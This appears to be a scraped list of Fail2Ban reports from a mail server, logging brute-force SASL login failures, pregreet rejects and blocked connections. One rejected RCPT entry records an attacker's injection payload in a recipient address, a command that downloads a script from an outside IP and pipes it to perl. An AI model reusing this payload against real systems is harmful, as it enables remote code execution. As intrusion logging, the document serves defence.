Fail2Ban report from jail 'postfix': 2026-09-26T10:20:03.382448+02:00 mail postfix/submission/smtpd[ ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T10:20:03.382448+02:00 mail postfix/submission/smtpd[1925615]: warning: unknown[69.94.88.238]: SASL PLAIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T08:15:10.176094+02:00 mail postfix/smtps/smtpd[17953 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T08:15:10.176094+02:00 mail postfix/smtps/smtpd[1795356]: warning: 123-195-145-176.dynamic.kbronet.com.tw[123.195.145.176]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=postmaster
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Fail2Ban report from jail 'postfix': 2026-09-26T07:59:19.187675+02:00 mail postfix/smtps/smtpd[17543 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T07:59:19.187675+02:00 mail postfix/smtps/smtpd[1754390]: warning: wsip-174-68-47-164.lv.lv.cox.net[174.68.47.164]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=predseda
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Fail2Ban report from jail 'postfix': 2026-09-26T07:44:18.221275+02:00 mail postfix/smtps/smtpd[17466 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T07:44:18.221275+02:00 mail postfix/smtps/smtpd[1746601]: warning: wsip-98-190-60-169.hr.hr.cox.net[98.190.60.169]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T06:49:42.125022+02:00 mail postfix/smtps/smtpd[16845 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T06:49:42.125022+02:00 mail postfix/smtps/smtpd[1684511]: warning: wsip-70-183-226-54.pn.at.cox.net[70.183.226.54]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T06:44:06.433599+02:00 mail postfix/smtps/smtpd[16802 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T06:44:06.433599+02:00 mail postfix/smtps/smtpd[1680285]: warning: wsip-70-167-233-150.pn.at.cox.net[70.167.233.150]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T06:36:44.297640+02:00 mail postfix/smtps/smtpd[16777 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T06:36:44.297640+02:00 mail postfix/smtps/smtpd[1677780]: warning: wsip-70-164-32-243.no.no.cox.net[70.164.32.243]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T06:33:50.393090+02:00 mail postfix/smtps/smtpd[16755 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T06:33:50.393090+02:00 mail postfix/smtps/smtpd[1675596]: warning: wsip-70-167-235-38.pn.at.cox.net[70.167.235.38]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=postmaster
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Fail2Ban report from jail 'dovecot': 2026-09-26T05:32:46.847050+02:00 mail dovecot: pop3-login: Disc ...
show moreFail2Ban report from jail 'dovecot': 2026-09-26T05:32:46.847050+02:00 mail dovecot: pop3-login: Disconnected: Connection closed (auth failed, 1 attempts in 0 secs): user=<>, method=NTLM, rip=152.32.159.203, lip=194.182.86.120, session=<AF+PfFpcSoCYIJ/L>
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Fail2Ban report from jail 'postfix': 2026-09-26T04:36:15.598645+02:00 mail postfix/smtps/smtpd[16125 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T04:36:15.598645+02:00 mail postfix/smtps/smtpd[1612588]: lost connection after AUTH from unknown[108.90.216.10]
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Fail2Ban report from jail 'postfix': 2026-09-26T02:52:56.362991+02:00 mail postfix/smtps/smtpd[15563 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T02:52:56.362991+02:00 mail postfix/smtps/smtpd[1556368]: warning: wsip-98-174-53-201.pn.at.cox.net[98.174.53.201]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-26T02:10:11.250449+02:00 mail postfix/smtps/smtpd[15340 ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T02:10:11.250449+02:00 mail postfix/smtps/smtpd[1534007]: warning: wsip-70-167-235-85.pn.at.cox.net[70.167.235.85]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=kolsky
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Fail2Ban report from jail 'postfix': 2026-09-26T01:53:13.165539+02:00 mail postfix/submission/smtpd[ ...
show moreFail2Ban report from jail 'postfix': 2026-09-26T01:53:13.165539+02:00 mail postfix/submission/smtpd[1525293]: warning: unknown[106.213.84.219]: SASL PLAIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-25T23:53:00.348210+02:00 mail postfix/submission/smtpd[ ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T23:53:00.348210+02:00 mail postfix/submission/smtpd[1461602]: NOQUEUE: reject: RCPT from unknown[66.116.224.187]: 554 5.7.1 <unknown[66.116.224.187]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(wget -qO - http://154.70.152.216/zed|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
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Fail2Ban report from jail 'postfix': 2026-09-25T23:44:09.143435+02:00 mail postfix/smtps/smtpd[14567 ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T23:44:09.143435+02:00 mail postfix/smtps/smtpd[1456786]: warning: unknown[58.115.53.81]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=postmaster
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Fail2Ban report from jail 'postfix': 2026-09-25T23:35:24.454020+02:00 mail postfix/smtps/smtpd[14524 ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T23:35:24.454020+02:00 mail postfix/smtps/smtpd[1452411]: warning: unknown[220.80.255.248]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-25T23:34:00.072868+02:00 mail postfix/submission/smtpd[ ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T23:34:00.072868+02:00 mail postfix/submission/smtpd[1451377]: warning: unknown[103.129.23.155]: SASL PLAIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-25T23:24:34.235726+02:00 mail postfix/submission/smtpd[ ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T23:24:34.235726+02:00 mail postfix/submission/smtpd[1446335]: warning: unknown[161.0.156.172]: SASL PLAIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'postfix': 2026-09-25T22:59:44.137972+02:00 mail postfix/smtps/smtpd[14330 ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T22:59:44.137972+02:00 mail postfix/smtps/smtpd[1433016]: warning: wsip-68-225-62-237.pn.at.cox.net[68.225.62.237]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=mistopredseda
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Fail2Ban report from jail 'pregreet': 2026-09-25T22:45:06.448649+02:00 mail postfix/postscreen[99343 ...
show moreFail2Ban report from jail 'pregreet': 2026-09-25T22:45:06.448649+02:00 mail postfix/postscreen[993432]: PREGREET 25 after 0 from [20.14.76.49]:44582: MGLNDD_194.182.86.120_25\n
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Fail2Ban report from jail 'postfix': 2026-09-25T22:41:44.258997+02:00 mail postfix/smtps/smtpd[14243 ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T22:41:44.258997+02:00 mail postfix/smtps/smtpd[1424353]: warning: unknown[59.8.75.163]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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Fail2Ban report from jail 'pregreet': 2026-09-25T22:25:05.382052+02:00 mail postfix/postscreen[99343 ...
show moreFail2Ban report from jail 'pregreet': 2026-09-25T22:25:05.382052+02:00 mail postfix/postscreen[993432]: PREGREET 243 after 0.11 from [135.222.210.132]:37482: \026\003\001\000\356\001\000\000\352\003\003\335'\213\027\212\321q\300$\275B\227P\316\037\355\265c\\
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Fail2Ban report from jail 'postfix': 2026-09-25T22:23:57.428606+02:00 mail postfix/smtps/smtpd[14136 ...
show moreFail2Ban report from jail 'postfix': 2026-09-25T22:23:57.428606+02:00 mail postfix/smtps/smtpd[1413661]: warning: wsip-24-234-206-163.lv.lv.cox.net[24.234.206.163]: SASL LOGIN authentication failed: (reason unavailable), [email protected]
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